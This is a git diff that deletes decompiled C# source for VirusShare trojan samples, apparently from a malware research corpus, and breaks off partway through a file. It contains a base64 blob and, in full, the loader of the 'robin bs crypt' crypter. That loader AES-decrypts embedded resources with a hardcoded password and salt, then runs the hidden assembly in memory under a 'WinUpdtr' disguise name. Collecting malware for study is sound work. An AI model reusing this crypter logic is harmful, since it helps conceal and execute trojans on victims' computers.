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 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/SmartAssembly/Attributes/DoNotDistributeAttribute.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/SmartAssembly/Attributes/DoNotDistributeAttribute.cs deleted file mode 100644 index fe76aca0..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/SmartAssembly/Attributes/DoNotDistributeAttribute.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.DoNotDistributeAttribute -// Assembly: robin bs crypt, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: BAD319E2-6DB4-4F14-9204-630EFEBB5941 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0.exe - -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class DoNotDistributeAttribute : Attribute - { - public DoNotDistributeAttribute(string s) - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/SmartAssembly/Attributes/PoweredByAttribute.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/SmartAssembly/Attributes/PoweredByAttribute.cs deleted file mode 100644 index b662bc8d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/SmartAssembly/Attributes/PoweredByAttribute.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.PoweredByAttribute -// Assembly: robin bs crypt, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: BAD319E2-6DB4-4F14-9204-630EFEBB5941 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0.exe - -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class PoweredByAttribute : Attribute - { - public PoweredByAttribute(string s) - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/Trojan.MSIL.Crypt.hek.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/Trojan.MSIL.Crypt.hek.csproj deleted file mode 100644 index da9b0a0e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/Trojan.MSIL.Crypt.hek.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {08040F08-C7D5-44D5-B7C3-5755D79AB894} - WinExe - robin bs crypt - 10.1.2.5 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/Trojan.MSIL.Crypt.hek.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/Trojan.MSIL.Crypt.hek.sln deleted file mode 100644 index 4bacbcce..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/Trojan.MSIL.Crypt.hek.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "robin bs crypt", "Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0.csproj", "{08040F08-C7D5-44D5-B7C3-5755D79AB894}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {08040F08-C7D5-44D5-B7C3-5755D79AB894}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {08040F08-C7D5-44D5-B7C3-5755D79AB894}.Debug|Any CPU.Build.0 = Debug|Any CPU - {08040F08-C7D5-44D5-B7C3-5755D79AB894}.Release|Any CPU.ActiveCfg = Release|Any CPU - {08040F08-C7D5-44D5-B7C3-5755D79AB894}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/_0001/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/_0001/_0001.cs deleted file mode 100644 index 368015bd..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/_0001/_0001.cs +++ /dev/null @@ -1,133 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: robin bs crypt, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: BAD319E2-6DB4-4F14-9204-630EFEBB5941 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0.exe - -using \u0001; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.IO; -using System.Reflection; -using System.Resources; -using System.Runtime.InteropServices; -using System.Security.Cryptography; - -namespace \u0001 -{ - internal sealed class \u0001 - { - private static byte[] \u0001; - private static byte[] \u0002; - - [STAThread] - public static void \u0001() - { - while (!\u0002.\u0001()) - { - if (true) - return; - } - try - { - string str1 = \u0001.\u0001.\u0001("ResFile1"); - do - { - string str2 = \u0001.\u0001.\u0001("ResFile2"); - \u0001.\u0001.\u0001(str1, str2); - string str3 = Convert.ToBase64String(\u0001.\u0001.\u0002) + "||SPLIT||FALSE||SPLIT||" + Assembly.GetExecutingAssembly().Location + "||SPLIT||WinUpdtr||SPLIT||"; - do - { - Assembly.Load(\u0001.\u0001.\u0001).GetType("CrpMod.CrpMod").GetMethods()[0].Invoke((object) null, new object[2] - { - (object) true, - (object) str3 - }); - } - while (false); - } - while (false); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Console.WriteLine(ex.Message); - ProjectData.ClearProjectError(); - } - } - - public static byte[] \u0001([In] byte[] obj0, [In] string obj1) - { - Rijndael rijndael = Rijndael.Create(); - Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(obj1, new byte[16] - { - (byte) 38, - (byte) 220, - byte.MaxValue, - (byte) 0, - (byte) 173, - (byte) 237, - (byte) 122, - (byte) 238, - (byte) 197, - (byte) 254, - (byte) 7, - (byte) 175, - (byte) 77, - (byte) 8, - (byte) 34, - (byte) 60 - }); - rijndael.Key = rfc2898DeriveBytes.GetBytes(32); - MemoryStream memoryStream; - if (true) - { - rijndael.IV = rfc2898DeriveBytes.GetBytes(16); - memoryStream = new MemoryStream(); - } - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndael.CreateDecryptor(), CryptoStreamMode.Write); - cryptoStream.Write(obj0, 0, obj0.Length); - cryptoStream.Close(); - return memoryStream.ToArray(); - } - - private static string \u0001([In] string obj0) - { - ResourceManager resourceManager = new ResourceManager("ChrmResFilerdr", Assembly.GetExecutingAssembly()); - string str = (string) resourceManager.GetObject(obj0); - if (true) - goto label_2; -label_1: - return str; -label_2: - resourceManager.ReleaseAllResources(); - goto label_1; - } - - public static void \u0001([In] string obj0, [In] string obj1) - { - do - { - do - { - if (true) - goto label_5; -label_1: - continue; -label_5: - \u0001.\u0001.\u0001 = \u0001.\u0001.\u0001(Convert.FromBase64String(obj0), "wCKVLYfE"); - goto label_1; - } - while (false); - if (true) - goto label_6; -label_4: - continue; -label_6: - \u0001.\u0001.\u0002 = \u0001.\u0001.\u0001(Convert.FromBase64String(obj1), "wCKVLYfE"); - goto label_4; - } - while (false); - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/_0001/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/_0001/_0002.cs deleted file mode 100644 index 2e478480..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/_0001/_0002.cs +++ /dev/null @@ -1,79 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: robin bs crypt, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: BAD319E2-6DB4-4F14-9204-630EFEBB5941 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0.exe - -using System; - -namespace \u0001 -{ - internal class \u0002 - { - public static bool \u0001() => \u0001.\u0002.\u0001(); - - private static bool \u0001() - { - DateTime dateTime1 = DateTime.Parse("2012-03-27T11:41:11"); - if (true) - goto label_14; -label_1: - if (false) - goto label_11; - else - goto label_15; -label_3: - DateTime dateTime2; - int num1; - if (true) - { - if (num1 == 0) - goto label_16; -label_7: - throw new Exception("This assembly has been built with an evaluation version of SmartAssembly, which has expired."); -label_16: - int num2 = DateTime.Now < dateTime2.AddDays(-21.0) ? 1 : 0; - if (true) - { - if (num2 != 0) - goto label_7; - } - else - { - num1 = num2; - goto label_13; - } - } - else - goto label_13; -label_8: - if (\u0002.\u0002.\u0001() == null) - { - try - { - \u0001.\u0002.\u0001(); - } - catch - { - } - } -label_11: - if (true) - num1 = 1; - else - goto label_8; -label_13: - if (num1 != 0) - return num1 != 0; - goto label_3; -label_15: - num1 = DateTime.Now > dateTime2 ? 1 : 0; - goto label_3; -label_14: - dateTime2 = dateTime1; - goto label_1; - } - - private static void \u0001() => Console.WriteLine("This assembly has been built with an evaluation version of SmartAssembly, and therefore cannot be distributed."); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/_0002/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/_0002/_0001.cs deleted file mode 100644 index 493b42bb..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/_0002/_0001.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: robin bs crypt, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: BAD319E2-6DB4-4F14-9204-630EFEBB5941 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0.exe - -using \u0002; -using System; -using System.Runtime.CompilerServices; - -namespace \u0002 -{ - internal sealed class \u0001 - { - [SpecialName] - public static string \u0001() => \u0001.\u0002() + " " + (object) \u0001.\u0001(); - - [SpecialName] - public static int \u0001() => new Version("6.6.1.41").Major; - - [SpecialName] - public static string \u0002() => "SmartAssembly"; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/_0002/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/_0002/_0002.cs deleted file mode 100644 index 5e96a609..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/_0002/_0002.cs +++ /dev/null @@ -1,59 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: robin bs crypt, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: BAD319E2-6DB4-4F14-9204-630EFEBB5941 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0.exe - -using \u0002; -using Microsoft.Win32; - -namespace \u0002 -{ - internal sealed class \u0002 - { - public static string \u0001() - { - string str1; - try - { - RegistryKey registryKey; - if (true) - registryKey = Registry.LocalMachine.OpenSubKey(\u0003.\u0001()); - else - goto label_9; -label_8: - if (registryKey == null) - registryKey = Registry.LocalMachine.OpenSubKey(\u0003.\u0002()); -label_9: - if (registryKey == null) - { - if (true) - { - str1 = (string) null; - if (true) - { - if (true) - goto label_11; - } - else - goto label_8; - } - else - goto label_8; - } - if (true) - { - string str2 = (string) registryKey.GetValue("Path", (object) null); - registryKey.Close(); - str1 = str2; - } - } - catch - { - str1 = (string) null; - } -label_11: - return str1; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/_0002/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/_0002/_0003.cs deleted file mode 100644 index 05a7edaa..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0/_0002/_0003.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: robin bs crypt, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: BAD319E2-6DB4-4F14-9204-630EFEBB5941 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.hek-546ce95f8cc1ad03325be45e6088f9c7d1044b9316e65a1c83d972dd3af136c0.exe - -using \u0002; -using System.Runtime.CompilerServices; - -namespace \u0002 -{ - internal sealed class \u0003 - { - [SpecialName] - public static string \u0001() => "Software\\Red Gate\\" + \u0001.\u0001(); - - [SpecialName] - public static string \u0002() => "Software\\Wow6432Node\\Red Gate\\" + \u0001.\u0001(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/AssemblyInfo.cs deleted file mode 100644 index ecd27e1f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Permissions; - -[assembly: AssemblyCompany("")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyProduct("")] -[assembly: ComVisible(false)] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Buffer/InBuffer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Buffer/InBuffer.cs deleted file mode 100644 index 7a602fe0..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Buffer/InBuffer.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Buffer.InBuffer -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using System; -using System.IO; - -namespace SevenZip.Buffer -{ - public class InBuffer - { - private byte[] m_Buffer; - private uint m_Pos; - private uint m_Limit; - private uint m_BufferSize; - private Stream m_Stream; - private bool m_StreamWasExhausted; - private ulong m_ProcessedSize; - - public InBuffer(uint bufferSize) - { - this.m_Buffer = new byte[(IntPtr) bufferSize]; - this.m_BufferSize = bufferSize; - } - - public void Init(Stream stream) - { - this.m_Stream = stream; - this.m_ProcessedSize = 0UL; - this.m_Limit = 0U; - this.m_Pos = 0U; - this.m_StreamWasExhausted = false; - } - - public bool ReadBlock() - { - if (this.m_StreamWasExhausted) - return false; - this.m_ProcessedSize += (ulong) this.m_Pos; - int num = this.m_Stream.Read(this.m_Buffer, 0, (int) this.m_BufferSize); - this.m_Pos = 0U; - this.m_Limit = (uint) num; - this.m_StreamWasExhausted = num == 0; - return !this.m_StreamWasExhausted; - } - - public void ReleaseStream() => this.m_Stream = (Stream) null; - - public bool ReadByte(byte b) - { - if (this.m_Pos >= this.m_Limit && !this.ReadBlock()) - return false; - b = this.m_Buffer[(IntPtr) this.m_Pos++]; - return true; - } - - public byte ReadByte() => this.m_Pos >= this.m_Limit && !this.ReadBlock() ? byte.MaxValue : this.m_Buffer[(IntPtr) this.m_Pos++]; - - public ulong GetProcessedSize() => this.m_ProcessedSize + (ulong) this.m_Pos; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Buffer/OutBuffer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Buffer/OutBuffer.cs deleted file mode 100644 index 11d32071..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Buffer/OutBuffer.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Buffer.OutBuffer -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using System; -using System.IO; - -namespace SevenZip.Buffer -{ - public class OutBuffer - { - private byte[] m_Buffer; - private uint m_Pos; - private uint m_BufferSize; - private Stream m_Stream; - private ulong m_ProcessedSize; - - public OutBuffer(uint bufferSize) - { - this.m_Buffer = new byte[(IntPtr) bufferSize]; - this.m_BufferSize = bufferSize; - } - - public void SetStream(Stream stream) => this.m_Stream = stream; - - public void FlushStream() => this.m_Stream.Flush(); - - public void CloseStream() => this.m_Stream.Close(); - - public void ReleaseStream() => this.m_Stream = (Stream) null; - - public void Init() - { - this.m_ProcessedSize = 0UL; - this.m_Pos = 0U; - } - - public void WriteByte(byte b) - { - this.m_Buffer[(IntPtr) this.m_Pos++] = b; - if (this.m_Pos < this.m_BufferSize) - return; - this.FlushData(); - } - - public void FlushData() - { - if (this.m_Pos == 0U) - return; - this.m_Stream.Write(this.m_Buffer, 0, (int) this.m_Pos); - this.m_Pos = 0U; - } - - public ulong GetProcessedSize() => this.m_ProcessedSize + (ulong) this.m_Pos; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/CRC.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/CRC.cs deleted file mode 100644 index 05411206..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/CRC.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.CRC -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using System; - -namespace SevenZip -{ - internal class CRC - { - public static readonly uint[] Table = new uint[256]; - private uint _value = uint.MaxValue; - - static CRC() - { - for (uint index1 = 